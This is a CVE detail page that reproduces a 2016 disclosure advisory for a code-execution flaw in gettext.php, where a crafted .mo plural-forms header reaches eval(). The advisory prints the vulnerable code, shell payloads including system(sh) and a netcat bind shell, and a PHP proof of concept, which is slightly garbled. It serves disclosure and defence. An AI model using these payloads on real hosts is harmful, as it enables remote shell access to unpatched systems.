CVE-2016-6175 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation # Date: June 25th, 2016 # Author: kmkz (Bourbon Jean-marie) <[email protected]> | @kmkz_security # Project Homepage: https://launchpad.net/php-gettext/ # Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz # Version: 1.0.12 (latest release) # Tested on: Linux Debian, PHP 5.6.19-2+b1 # CVSS: 7.1 # OVE ID: OVE-20160705-0004 # CVE ID: CVE-2016-6175 # OSVDB ID: n/a # Thanks: Lars Michelsen from NagVis project where this bug was discovered and Danilo Segan from gettext.php team project for their reactivity and professionalism # Credits: https://bugs.launchpad.net/php-gettext/+bug/1606184 https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53 # Fixes: https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php https://bugs.launchpad.net/php-gettext/+bug/1606184 gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue I. APPLICATION This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system. This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue. NagVis is a visualization addon for the well known network managment system Nagios. NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure. II. ADVISORY A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file. The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue. III. VULNERABILITY DESCRIPTION The gettext_reader() funtion try to test magic number that need to match with .mo files : $MAGIC1 = "\x95\x04\x12\xde"; $MAGIC2 = "\xde\x12\x04\x95"; If it seems correct then we'll continue. We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern: plural-forms: ([^\n]*)\n (This regular expression matching have no effect on our payload) Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one. Here is the impacted code snippet : snip... if (eregi("plural-forms: ([^\n]*)\n", $header, $regs)) $expr = $regs[1]; else $expr = "nplurals=2; plural=n == 1 ? 0 : 1;"; $this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!! } snip... The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later. Comments are : /** Sanitize plural form expression for use in PHP eval call. @access private @return string sanitized plural form expression**/ In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars. snip... function sanitize_plural_expression($expr) { // Get rid of disallowed characters. $expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer » // Add parenthesis for tertiary '?' operator. $expr .= ';'; $res = ''; $p = 0; for ($i = 0; $i < strlen($expr); $i++) { // indentation ? $ch = $expr[$i]; switch ($ch) { case '?': $res .= ' ? ('; $p++; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $p) . ';'; $p = 0; break; default: $res .= $ch; } } return $res; } snip... Code snippet from the vulnerable function that execute eval() on the « sanitized string : snip... $string = $this->get_plural_forms(); $string = str_replace('nplurals',"\$total",$string); $string = str_replace("n",$n,$string); $string = str_replace('plural',"\$plural",$string); $total = 0; $plural = 0; eval("$string"); // eval called .... launch my shell baby ! snip... However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it. A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder. He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless ! Note : Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this : $expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory Like a Perl developer could say: « there is more than one way to do it » IV. PROOF OF CONCEPT Following PHP code reproduce the exploitation concept base on the 1.0.9 version (without a crafted .mo file and joined with this advisory). <?php //$expr= ("system(sh)"); // payload1 //$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant $expr=("phpinfo()"); // payload2 (PoC) //$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);// vuln $expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/ $expr .= ';'; // Add parenthesis for tertiary '?' operator. $expr .= ';'; $res = ''; $p = 0; for ($i = 0; $i < strlen($expr); $i++) { $ch = $expr[$i]; switch ($ch) { case '?': $res .= ' ? ('; $p++; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $p) . ';'; $p = 0; break; default: $res .= $ch; } } // Vulnerable function : $n= (1); $total=("1000"); if (!is_int($n)) { throw new InvalidArgumentException( "Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php } $string = str_replace('nplurals',"\$total",$res); $string = str_replace("n",$res,$res); $string = str_replace('plural',"\$plural",$res); eval("$string"); ?> V. RECOMMENDATIONS As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators. Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties. The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix. VI. VERSIONS AFFECTED This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version. It could affect the a lot of web application and/or many website as long as it will not be updated. VII. TIMELINE June 21th, 2016: Vulnerability identification June 21th, 2016: Nagvis project developers and gettext.php developers notification June 22th, 2016: Nagvis project developers response June 25th, 2016: Nagvis Patch release (even if not really affected) June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started July 5th, 2016: CVE request ID (mitre) and OVE ID request July 7th, 2016: CVE-2016-6175 attributed by MITRE July 25th, 2016: Public disclosure VIII. LEGAL NOTICES The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this advisory.